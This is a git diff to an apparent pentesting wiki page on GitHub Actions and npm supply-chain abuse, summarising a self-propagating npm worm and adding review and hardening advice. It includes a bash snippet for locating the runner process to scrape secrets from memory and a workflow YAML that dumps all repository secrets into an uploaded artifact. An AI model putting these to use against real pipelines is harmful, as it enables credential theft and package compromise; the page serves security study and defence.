diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md
index 891b6df4a5..2372cba073 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-npm-supply-chain-abuse.md
@@ -25,6 +25,8 @@ The classic npm route is to publish a malicious package version with `preinstall
}
```
+ChainDrop kept legitimate package functionality and added a small `setup.mjs` loader for a larger obfuscated payload. Its loader bootstrapped Bun when needed, used an environment marker to avoid recursive execution, detached on workstations, and ran inline in CI, leaving its debug output in the workflow log.[[13]](#references)
+
Defenders often monitor these scripts, so red-team reviews should also inspect less obvious execution paths.[[11]](#references)
### `binding.gyp` / node-gyp execution (Phantom Gyp)
@@ -37,15 +39,48 @@ Practical checks:
- Treat a sudden `binding.gyp` addition as an execution primitive, especially if defenders rely on lifecycle-hook monitoring or `--ignore-scripts`.[[6]](#references)[[10]](#references)[[11]](#references)
- Review release jobs that run `npm install`, `npm rebuild`, or dependency build steps after restoring untrusted artifacts/caches.[[2]](#references)[[11]](#references)
+## Runner Secret Theft After Install-Time Execution
+
+On a Linux GitHub Actions runner, install-time malware can look beyond environment variables and temporary files. Where the runner user, procfs mount options, and ptrace policy permit access, it can locate `Runner.Worker`, inspect `/proc//maps`, and read `/proc//mem` for short-lived OIDC tokens or workflow secrets that were never written to disk.[[13]](#references)
+
+```bash
+PID=$(pgrep -f 'Runner.Worker|runner.worker')
+cat /proc/$PID/maps | head
+# If procfs / ptrace policy permits it, read /proc/$PID/mem and scan for
+# JWTs, gh[pousr]_, cloud credentials, or other plaintext secret markers.
+```
+
+Memory scraping can expose short-lived secrets that never reach disk and may disappear when the job ends.[[13]](#references)
+
+## Workflow-Assisted Exfiltration
+
+With a write-capable GitHub identity, an attacker can add a workflow that serializes the `secrets` context and stores it as a workflow artifact. This can avoid a direct connection to an external C2 when GitHub traffic remains allowed.[[13]](#references)[[14]](#references)
+
+```yaml
+steps:
+ - name: Stage secrets
+ env:
+ ALL_SECRETS: ${{ toJSON(secrets) }}
+ run: printf '%s' "$ALL_SECRETS" > secrets.json
+ - uses: actions/upload-artifact@v4
+ with:
+ name: repo-secrets
+ path: secrets.json
+```
+
+Review unexpected `.github/workflows/*.yml` additions, especially files that call `toJSON(secrets)` or upload artifacts.[[13]](#references)[[14]](#references)
+
## Wormable npm Publishing
Once code runs in a maintainer workstation or release workflow, a single stolen registry identity can be turned into self-propagating package compromise:[[1]](#references)
1. Harvest maintainer secrets (`~/.npmrc`, PATs, OIDC request env vars, cloud creds, SSH keys).[[1]](#references)
-2. Enumerate packages the compromised identity or team can publish to.[[1]](#references)[[7]](#references)
+2. Enumerate packages the compromised identity or team can publish to.[[1]](#references)[[4]](#references)[[7]](#references)[[12]](#references)
3. Republish malicious versions across each writable package.[[1]](#references)
4. Let downstream installs create more credential-generation nodes.[[1]](#references)
+ChainDrop downloaded or reconstructed each writable package while preserving its expected functionality, added the loader to `preinstall`, bumped the patch version, and republished it so later installs generated more victims.[[13]](#references)
+
Useful enumeration from a compromised npm identity:[[7]](#references)
```bash
@@ -58,9 +93,11 @@ Attackers usually prefer packages with frequent CI installs, transitive populari
## Trusted Publishing and Provenance Limits
-Trusted publishing/OIDC removes long-lived static npm tokens, but it does not make a compromised release workflow safe. If the attacker controls code that runs in a job with `id-token: write`, the malicious release can still receive valid provenance because the legitimate workflow really built and published it.[[1]](#references)[[2]](#references)[[8]](#references)
+Trusted publishing/OIDC removes long-lived static npm tokens, but it does not make a compromised release workflow safe. If attacker-controlled code runs inside a workflow already authorized as an npm trusted publisher and granted `id-token: write`, the job can mint a GitHub OIDC token and exchange it for an npm publishing credential; the malicious release can also receive valid provenance because the legitimate workflow built and published it.[[1]](#references)[[2]](#references)[[8]](#references)[[13]](#references)[[15]](#references)
+
+Provenance answers **which workflow built this artifact**, not **whether the workflow, source tree, cache, or build steps were clean**.[[1]](#references)[[2]](#references)[[13]](#references)[[15]](#references)
-Provenance answers **which workflow built this artifact**, not **whether the workflow, source tree, cache, or build steps were clean**.[[1]](#references)[[2]](#references)
+ChainDrop implemented a repository-gated path that injected a Git-pinned `@opensearch/setup` dependency imitating the legitimate `@opensearch-project` scope. Review dependency diffs even when lifecycle scripts do not change.[[13]](#references)
High-signal review points:
@@ -68,6 +105,8 @@ High-signal review points:
- Release jobs that restore caches or artifacts from lower-trust workflows before publishing.[[2]](#references)
- Jobs that publish without human approval, environment protection rules, or a second reviewer.[[2]](#references)[[3]](#references)
- Workflows that request OIDC before all build inputs have been verified.[[2]](#references)[[8]](#references)
+- Package diffs that add a dependency imitating the maintainer's own scope or an internal helper name.[[13]](#references)
+- Provenance that verifies correctly but points to a workflow run or workflow file that executed attacker-controlled code.[[13]](#references)[[15]](#references)
## Hardening
@@ -75,9 +114,10 @@ High-signal review points:
- Add staged publishing / human 2FA approval for high-impact packages where possible.[[3]](#references)
- Use `minimumReleaseAge` or equivalent dependency quarantine controls before consuming newly published package versions.[[1]](#references)[[9]](#references)
- Separate cache keys by trust boundary and never execute restored cache contents before integrity checks.[[1]](#references)[[2]](#references)
-- Diff published tarballs against source repositories, and alert on unexpected native build metadata such as `binding.gyp`.[[5]](#references)[[11]](#references)
+- Diff published tarballs against source repositories, and alert on unexpected native build metadata such as `binding.gyp`, new dependencies, or new top-level loaders.[[5]](#references)[[11]](#references)[[13]](#references)
- Disable or tightly review lifecycle scripts in CI (`npm config set ignore-scripts true`) where builds do not need them.[[1]](#references)[[6]](#references)[[10]](#references)
- Monitor package access (`npm access ls-packages`) and remove stale maintainers, bots, and teams.[[7]](#references)[[12]](#references)
+- Treat new workflow files and artifact uploads as part of the package-publishing attack surface, not only as GitHub-side persistence.[[13]](#references)[[14]](#references)
## References
@@ -93,5 +133,8 @@ High-signal review points:
- [10] [npm-install | npm Docs](https://docs.npmjs.com/cli/install/)
- [11] [Miasma npm Supply Chain Attack: Self-Spreading Worm via Phantom Gyp | StepSecurity](https://www.stepsecurity.io/blog/binding-gyp-npm-supply-chain-attack-spreads-like-worm)
- [12] [Organizations | npm Docs](https://docs.npmjs.com/cli/v11/using-npm/orgs/)
+- [13] [ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/)
+- [14] [Store and share data with workflow artifacts - GitHub Docs](https://docs.github.com/en/actions/tutorials/store-and-share-data)
+- [15] [Generating provenance statements | npm Docs](https://docs.npmjs.com/generating-provenance-statements/)
{{#include ../../../banners/hacktricks-training.md}}